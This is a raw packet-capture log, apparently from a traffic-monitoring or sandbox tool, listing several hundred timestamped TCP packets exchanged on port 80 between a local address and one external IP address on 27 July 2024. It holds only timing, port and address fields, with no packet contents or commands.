Jul 27, 2024 09:25:14.575834036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575844049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575854063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575864077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575872898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575884104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575890064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575895071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.575901031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575989008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575998068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.575999022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.575998068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576019049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576028109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576037884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576049089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576060057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576070070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576070070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576071024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576144934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576234102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576244116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576253891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576343060 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576349020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576358080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576369047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576390982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576400995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576411009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576411963 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576421976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576432943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576445103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576471090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576471090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576507092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576517105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576518059 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576534986 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576545000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576585054 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576585054 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576612949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576623917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576632977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576643944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576659918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576692104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576700926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576700926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576704025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576714993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576719999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576807022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576817989 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576828003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576838970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576870918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576870918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576870918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576932907 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.576940060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576951027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576961040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576967001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576977968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576987982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.576998949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.577039003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.577039003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.577091932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.577212095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.577575922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.577853918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.577866077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.577876091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.577914000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.577919006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.577924013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.577934980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.577945948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.578031063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.578043938 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.578049898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.578049898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.578054905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.578066111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.578077078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.578088045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.578098059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.578108072 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.578119040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.578922987 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.579791069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.579829931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.579839945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.579878092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.579878092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.579946995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.579957962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.579968929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.579984903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.580027103 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.580063105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665182114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665199041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665215015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665225029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665235996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665241957 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665246964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665258884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665262938 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665267944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665272951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665282965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665291071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665292025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665307999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665400982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665410995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665421009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665430069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665440083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665446043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665446043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665469885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665488005 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665488005 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665488958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665498972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665510893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665520906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665530920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665535927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665543079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665550947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665561914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665565014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665572882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665604115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.665617943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665618896 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.665621996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.666145086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.667983055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.667994022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668004036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668031931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668049097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668060064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668070078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668080091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668088913 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668088913 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668095112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668134928 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668149948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668163061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668174028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668183088 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668189049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668199062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668272972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668283939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668314934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668314934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668314934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668371916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668447971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668457985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668468952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668478012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668493032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668503046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668514013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668519020 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668524027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668534040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668544054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668554068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668555021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668561935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668571949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.668579102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668612003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668612003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.668966055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.669147015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.669162989 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.669173956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.669426918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.669426918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.669626951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.669778109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.669821024 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.669924974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.669950008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.669961929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.670095921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.670095921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.670095921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.670576096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.670702934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.670722008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.670835972 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.670901060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.670949936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.671051025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.671166897 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.671191931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.671204090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.671209097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.671283007 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.672189951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.672280073 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.672312021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.672396898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.672466040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.672477961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.672539949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.672794104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.672878981 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.672966957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.672979116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.672988892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.673137903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.673137903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.673752069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.673892021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.673903942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.674036026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.674045086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.674045086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.674137115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.674792051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.674931049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.674937010 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675110102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675287962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675287962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675312996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675324917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675334930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675343990 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675353050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675363064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675373077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675381899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675381899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675482988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675501108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675502062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675513029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675522089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675532103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675540924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675551891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675560951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675570965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675576925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675576925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675582886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675591946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675601959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675612926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675623894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.675631046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675631046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675642967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.675668001 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.676743031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.676753998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.676763058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.676773071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.676783085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.676793098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.676798105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.676919937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.676919937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.757585049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757600069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757610083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757622004 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757632971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757651091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757662058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757667065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.757672071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757677078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757688046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757735968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757742882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.757742882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.757746935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757757902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757791996 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.757810116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.757819891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757831097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757842064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.757853985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758018017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758022070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.758022070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.758028984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758037090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758043051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758053064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758064032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758073092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758084059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758089066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758089066 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.758089066 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.758135080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758147001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.758179903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.758179903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.758179903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.760241985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.760258913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.760267019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.760325909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.760335922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.760346889 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.760356903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.760356903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.760360003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.760376930 CEST	80	49705	185.215.113.16	192.168.2.5
